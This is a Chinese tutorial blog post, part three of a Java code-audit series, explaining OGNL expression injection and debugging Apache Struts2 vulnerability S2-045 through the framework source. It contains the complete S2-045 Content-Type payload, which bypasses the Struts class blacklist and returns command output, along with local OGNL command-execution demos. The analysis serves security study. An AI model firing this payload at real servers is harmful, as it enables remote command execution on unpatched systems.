转载

从零开始java代码审计系列(三)

从零开始java代码审计系列(三)

此文为原创文章

作者:p0desta@先知社区

恭喜作者获得

价值100元的天猫超市享淘卡一张

欢迎更多优质原创、翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

这篇文章将会学习java中的OGNL表达式注入,并分析实例s2-045,并且所有环境都会打包放到附件中,提供给有需要的朋友,本文如果有理解错误的地方,麻烦师傅们斧正。

什么是OGNL

从语言角度来说:它是一个功能强大的表达式语言,用来获取和设置 java 对象的属性 ,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。另外,java 中很多可以做的事情,也可以使用 OGNL 来完成,例如:列表映射和选择。对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个“路径”来完成对象信息的导航,这个“路径”可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。

OGNL具有三要素: 表达式、ROOT对象、上下文环境

表达式: 显然,这肯定是其中最重要的部分,通过表达式来告诉OGNL需要执行什么操作。

ROOT对象: 也就是OGNL操作的的对象,也就是说这个表达式针对谁进行操作。

上下文环境: 有了前两个条件,OGNL就能进行执行了,但是表达式有需要执行一系列操作,所以会限定这些操作在一个环境下,这个环境就是上下文环境,这个环境是个MAP结构。

漏洞的产生原因

我们通过了解OGNL的基础语法可以知道OGNl可以对ROOT对象访问、对上下文对象访问、对静态变量访问、方法的调用、对数组和集合的访问、创建对象。

需要注意的点是:

  • 当访问上下文环境的参数时,需要在表达式前面加上 #

  • 访问静态变量或者调用静态方法,格式如@[class]@[field/method()]

  • 构造任意对象:直接使用已知的对象的构造方法进行构造

看执行命令的方式:

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class Main {

    public static void main(String[] args) throws OgnlException{
        //创建一个Ognl上下文对象
        OgnlContext context = new OgnlContext();
        //@[类全名(包括包路径)]@[方法名|值名]
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot());
    }
}
package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception{
        //创建一个Ognl上下文对象
        OgnlContext context = new OgnlContext();
        Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot());
    }
}

从零开始java代码审计系列(三)

实例中的注入

环境部署

我会把环境打包放到附件里,有需要的可以自行下载部署,我先说一下如何部署远程调试的环境,参考 https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral 的做法,制作了Dockerfile远程调试环境,

从零开始java代码审计系列(三)

docker-compose up --build

把环境起来以后,然后使用IDEA将src目录下的环境用maven导入,IDEA配置如下

从零开始java代码审计系列(三)

然后跑起来正常打断点调试

从零开始java代码审计系列(三)

漏洞分析

Poc:

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

这个漏洞主要是因为在上传时使用 Jakarta 进行解析时,但是如果 content-type 错误的会进入异常,然后注入OGNL。

首先在 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/PrepareOperations.class

public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException {
        HttpServletRequest request = oldRequest;

        try {
            request = this.dispatcher.wrapRequest(request);
            ServletActionContext.setRequest(request);
            return request;
        } catch (IOException var4) {
            throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4);
        }
    }

这里会将http请求封装一个成一个对象

从零开始java代码审计系列(三)

跟进函数,跟到 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        if (request instanceof StrutsRequestWrapper) {
            return request;
        } else {
            String content_type = request.getContentType();
            Object request;
            if (content_type != null && content_type.contains("multipart/form-data")) {
                MultiPartRequest mpr = this.getMultiPartRequest();
                LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class);
                request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
            } else {
                request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup);
            }

            return (HttpServletRequest)request;
        }
    }

可以看到如果 content_type 不为 null 并且 content_type 中包含了 multipart/form-data 的话就进入条件

然后到

request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);

会new一个对象,跟进

从零开始java代码审计系列(三)

可以看到request对象进入了 this.multi.pars ,继续跟requests,到达 /org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class

public void parse(HttpServletRequest request, String saveDir) throws IOException {
        LocalizedMessage errorMessage;
        try {
            this.setLocale(request);
            this.processUpload(request, saveDir);

首先request对象进入语言设置的方法,没有啥处理,继续跟进下一个 this.processUpload

然后可以跟到

FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException {
            if (ctx == null) {
                throw new NullPointerException("ctx parameter");
            } else {
                String contentType = ctx.getContentType();
                if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
                    InputStream input = ctx.getInputStream();
                    int contentLengthInt = ctx.getContentLength();
                    long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).contentLength() : (long)contentLengthInt;
                    if (FileUploadBase.this.sizeMax >= 0L) {
                        if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) {
                            throw new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", requestSize, FileUploadBase.this.sizeMax), requestSize, FileUploadBase.this.sizeMax);
                        }

                        input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) {
                            protected void raiseError(long pSizeMax, long pCount) throws IOException {
                                FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", pCount, pSizeMax), pCount, pSizeMax);
                                throw new FileUploadBase.FileUploadIOException(ex);
                            }
                        };
                    }

从零开始java代码审计系列(三)

可以看到这个判断会检测 contentType 是否以 multipart/ 开头,显然不是,然后进入异常处理

throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));

这里会将传进来的contentType拼接后继续传递

从零开始java代码审计系列(三)

一直跟到

while(i$.hasNext()) {
  LocalizedMessage error = (LocalizedMessage)i$.next();
  if (validation != null) {
      validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
  }
}

会进入到 /com/opensymphony/xwork2/util/LocalizedTextUtil.class

然后经过调用堆栈

从零开始java代码审计系列(三)

继续跟可以跟到 /com/opensymphony/xwork2/util/TextParseUtil.class

public static String translateVariables(String expression, ValueStack stack) {
        return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString();
    }

跟到

String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }
           String var = expression.substring(start + 2, end);

简单理解下这段的意思就是将咱们被污染的payload进行处理,可以是 %{.*} 也可以是 ${.*} 这样的格式

从零开始java代码审计系列(三)

后面就是作为ONGL表达式进行执行了。

payload为何如此构造

知道了漏洞产生原因,肯定是想知道poc为什么这样构造呢,我来分析一下

%{
    (#nike='multipart/form-data').
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#memberAccess?(#memberAccess=#dm):     
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
  (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
  (#ognlUtil.getExcludedPackageNames().clear()).
  (#ognlUtil.getExcludedClasses().clear()).
  (#context.setMemberAccess(#dm)))).
  (#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').
  toLowerCase().
  contains('win'))).
  (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
  {'/bin/bash','-c',#cmd})).
  (#p=new java.lang.ProcessBuilder(#cmds)).
  (#p.redirectErrorStream(true)).
  (#process=#p.start()).
  (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
  (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
  (#ros.flush())
  };

首先我们知道Struts2为了防御攻击,在 /struts2-core-2.5.10.jar!/struts-default.xml 中定义了黑名单

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                ognl.OgnlContext,
                ognl.ClassResolver,
                ognl.TypeConverter,
                ognl.MemberAccess,
                ognl.DefaultMemberAccess,
                com.opensymphony.xwork2.ognl.SecurityMemberAccess,
                com.opensymphony.xwork2.ActionContext" />

   <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />

我们必须想办法bypass它,可以看到poc的操作是先定义了 DEFAULT_MEMBER_ACCESS ,然后赋值给 memberAccess ,

然后使用 GetInstance 实例化 OgnlUtil ,然后将里面的黑名单清除,然后利用setMemberAccess进行覆盖掉,进而绕过黑名单,这个poc是大牛构造的比较通用并且有回显的,我们来看看具体实现,

package com.company;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.*;
import java.lang.NullPointerException;
import com.opensymphony.xwork2.util.TextParseUtil;
public class Main {

    public static void main(String[] args) throws OgnlException, Exception,NullPointerException{
        //创建一个Ognl上下文对象
        Object rootObject = new Object();
        OgnlContext context = new OgnlContext();
        TextParseUtil newparse = new TextParseUtil();

        String exp = "(#nike='multipart/form-data').(#cmds={'open', '/Applications/Calculator.app'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())";
        try{
            Object expression = ognl.Ognl.parseExpression(exp);
            String value = Ognl.getValue(expression, context, rootObject).toString();
        }catch (OgnlException e){
            e.printStackTrace();
        }
    }
}

从零开始java代码审计系列(三)

参考:

https://landgrey.me/struts2-045-debugging/
https://xz.aliyun.com/t/2712
https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
https://www.cnblogs.com/renchunxiao/p/3423299.html

从零开始java代码审计系列(三)

从零开始java代码审计系列(三)

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

从零开始java代码审计系列(三)

原文  http://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652989924&idx=1&sn=1536515a3f322ceb00715a47c0ac60c9
正文到此结束
Loading...